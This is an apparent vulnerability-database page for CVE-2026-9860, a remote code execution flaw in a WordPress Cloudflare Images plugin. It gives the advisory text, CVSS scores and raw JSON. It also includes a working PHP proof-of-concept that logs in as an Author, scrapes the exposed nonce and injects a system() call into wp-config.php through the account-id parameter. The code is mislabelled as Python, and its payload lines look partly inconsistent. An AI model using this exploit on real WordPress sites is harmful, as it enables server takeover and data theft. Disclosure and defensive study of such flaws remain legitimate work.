Security Vulnerability Report
中文
CVE-2026-9860 CVSS 8.8 HIGH

CVE-2026-9860

Published: 2026-06-18 06:16:59
Last Modified: 2026-06-18 15:23:56

Description

The Offload, AI & Optimize with Cloudflare Images plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.10.2 via the 'account-id' parameter parameter. This is due to insufficient privilege enforcement on the cf_images_do_setup AJAX handler, which requires only the upload_files capability (Author+) rather than manage_options before writing to wp-config.php, combined with the absence of single-quote escaping — sanitize_text_field() does not strip single quotes, and filter_input(INPUT_POST) bypasses wp_magic_quotes() slashing — allowing a single quote in the account-id or api-key parameter to break out of the single-quoted PHP string literal in the write_config() define() statement. This makes it possible for authenticated attackers, with author-level access and above, to execute code on the server. This is possible because the 'cf-images-nonce' nonce required by the AJAX handler is exposed to all Author-level and above users on wp-admin/upload.php via the CFImages JavaScript object, meaning any upload-capable user can satisfy the nonce check and reach the vulnerable wp-config.php write path.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

cf-images(Offload, AI & Optimize with Cloudflare Images)<= 1.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-9860 PoC - Cloudflare Images Plugin RCE * Targets: cf-images plugin <= 1.10.2 * Requires: Author-level WordPress account */ // Configuration $target_url = 'https://target-wordpress-site.com'; $username = 'author_user'; $password = 'author_password'; $command = 'id'; // Command to execute on the server // Step 1: Login to WordPress and obtain session cookies $login_url = $target_url . '/wp-login.php'; $cookie_jar = tempnam(sys_get_temp_dir(), 'wp_cookies_'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to'=> 'wp-admin/', 'testcookie' => '1' ])); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); $login_response = curl_exec($ch); curl_close($ch); // Step 2: Access upload.php to extract the cf-images-nonce from CFImages JS object $upload_url = $target_url . '/wp-admin/upload.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $upload_url); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $upload_page = curl_exec($ch); curl_close($ch); // Extract nonce from CFImages JavaScript object if (preg_match('/CFImages\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"/i', $upload_page, $matches)) { $nonce = $matches[1]; echo "[+] Extracted nonce: $nonce\n"; } else { die("[-] Failed to extract cf-images-nonce. Ensure user has Author+ role.\n"); } // Step 3: Craft malicious payload to inject PHP code via account-id parameter // The payload breaks out of the single-quoted PHP string in define() $payload = sprintf("');%s;//", base64_encode("system('" . $command . "');")); // Simpler payload: close the string, inject a system call $malicious_account_id = "abc'];system(base64_decode('" . base64_encode($command) . "'));//"; // Step 4: Send the exploit request to admin-ajax.php $ajax_url = $target_url . '/wp-admin/admin-ajax.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ajax_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'cf_images_do_setup', 'nonce' => $nonce, 'account-id' => $malicious_account_id, 'api-key' => 'dummy_api_key' ])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[+] Exploit sent. HTTP Status: $http_code\n"; echo "[+] Response: $response\n"; echo "[+] Check wp-config.php for injected PHP code.\n"; // Cleanup unlink($cookie_jar); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9860", "sourceIdentifier": "[email protected]", "published": "2026-06-18T06:16:59.063", "lastModified": "2026-06-18T15:23:56.087", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Offload, AI & Optimize with Cloudflare Images plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.10.2 via the 'account-id' parameter parameter. This is due to insufficient privilege enforcement on the cf_images_do_setup AJAX handler, which requires only the upload_files capability (Author+) rather than manage_options before writing to wp-config.php, combined with the absence of single-quote escaping — sanitize_text_field() does not strip single quotes, and filter_input(INPUT_POST) bypasses wp_magic_quotes() slashing — allowing a single quote in the account-id or api-key parameter to break out of the single-quoted PHP string literal in the write_config() define() statement. This makes it possible for authenticated attackers, with author-level access and above, to execute code on the server. This is possible because the 'cf-images-nonce' nonce required by the AJAX handler is exposed to all Author-level and above users on wp-admin/upload.php via the CFImages JavaScript object, meaning any upload-capable user can satisfy the nonce check and reach the vulnerable wp-config.php write path."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "vanyukov", "product": "Offload, AI & Optimize with Cloudflare Images", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.10.2", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cf-images/tags/1.10.1/app/class-media.php#L94", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cf-images/tags/1.10.1/app/class-settings.php#L123", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cf-images/tags/1.10.1/app/class-settings.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cf-images/tags/1.10.1/app/traits/trait-ajax.php#L36", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3564001%40cf-images&new=3564001%40cf-images&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a772041e-015e-48e8-9fab-79f1fcdb265c?source=cve", "source": "[email protected]"}]}}